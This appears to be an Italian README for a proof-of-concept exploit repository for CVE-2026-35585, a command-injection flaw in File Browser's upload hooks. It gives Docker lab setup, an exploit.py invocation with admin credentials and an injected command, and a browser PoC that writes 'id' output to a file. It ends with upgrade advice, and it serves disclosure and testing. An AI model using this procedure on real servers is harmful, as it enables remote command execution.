
Proof-of-concept exploit per CVE-2026-35585, una vulnerabilità di iniezione di comandi del sistema operativo in File Browser (versioni 2.0.0-2.33.1). Include script PoC basati su Python e browser per l'esecuzione di codice remota tramite caricamenti di file dannosi.
Questo repository è una Proof of Concept (PoC) per la grave vulnerabilità di iniezione di comandi OS CVE-2026-35585 scoperta in File Browser (versioni dalla 2.0.0 alla 2.33.1).
La vulnerabilità risiede nella funzionalità "Custom Command Hooks". Poiché le variabili d'ambiente come $FILE e $USERNAME non vengono adeguatamente sanificate durante l'esecuzione della shell, un utente autenticato con permessi di caricamento file può eseguire comandi arbitrari sul sistema host utilizzando nomi di file malevoli.
Scoperto da: saku0512 (https://github.com/Saku0512)
Questo progetto è destinato esclusivamente a scopi educativi e di test di sicurezza etici.
L'autore non si assume alcuna responsabilità per uso improprio, danni o attività illegali derivanti da questo strumento. L'accesso non autorizzato ai sistemi informatici è illegale. Utilizzando questo software, accetti di effettuare test di sicurezza solo in ambienti per i quali hai esplicita autorizzazione.
In File Browser, gli amministratori possono impostare hook come "After Upload". Quando questi hook vengono eseguiti, l'applicazione avvia un comando shell e sostituisce variabili come $FILE con il nome effettivo del file. Se il nome del file contiene metacaratteri shell come ;, &, |, questi non vengono correttamente escaped e vengono eseguiti nella shell di sistema.
Questa sezione spiega come riprodurre l'esecuzione di codice remoto (RCE) utilizzando l'ambiente fornito e lo script exploit.
Utilizza Docker Compose per avviare l'ambiente vulnerabile (File Browser v2.33.1). Poiché all'inizio data/filebrowser.db non esiste, inizializza il DB di File Browser prima di impostare gli hook.
# Imposta i permessi appropriati per la directory data
mkdir -p data && sudo chown -R 1000:1000 data
# Inizializza il DB
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# Aggiungi utente admin / admin
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# Imposta shell su "sh -c"
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# Aggiungi comando After Upload
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# Avvia il container
docker compose up -d
Se data/filebrowser.db esiste già, config init non è necessario. Se l'utente admin esiste già, reimposta la password con il seguente comando invece di users add:
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
Se devi modificare le impostazioni degli hook dopo l'avvio del container, fermalo con docker compose stop, esegui i comandi di configurazione e poi riavvia con docker compose start per evitare blocchi SQLite.
Esegui lo script exploit.py per automatizzare il login e il caricamento di un file malevolo. Il comando seguente tenta di creare un file chiamato pwned_rce_test nella directory /tmp del container.
# Installa le dipendenze
pip install requests
# Esegui l'exploit
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
Verifica che il file sia stato creato all'interno del container per confermare l'esecuzione del comando.
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
Se il file esiste, la RCE è confermata.
L'exploit.py esistente funziona comunque. Se preferisci un'esperienza più interattiva con File Browser, puoi utilizzare la guida PoC nel browser inclusa.
Esegui la sezione "1. Impostazione dell'Ambiente e Configurazione Iniziale" sopra, assicurandoti di poter accedere a File Browser su http://localhost:8080.
python3 browser_poc.py
Apri nel browser:
http://127.0.0.1:8090/
http://localhost:8080 sia raggiungibile.admin / admin e ottieni il token API di File Browser.id > /srv/pwned_browser_rce.txt./srv/pwned_browser_rce.txt tramite l'API di File Browser e visualizza il risultato della RCE all'interno dell'interfaccia.Poiché /srv è montato dal repository corrente in docker-compose.yml, in caso di successo il file pwned_browser_rce.txt verrà creato anche sul host.
Aggiorna File Browser alla versione 2.33.8 o successiva. Nella versione corretta, la funzionalità hook è disabilitata per impostazione predefinita e l'espansione delle variabili è gestita in modo più sicuro.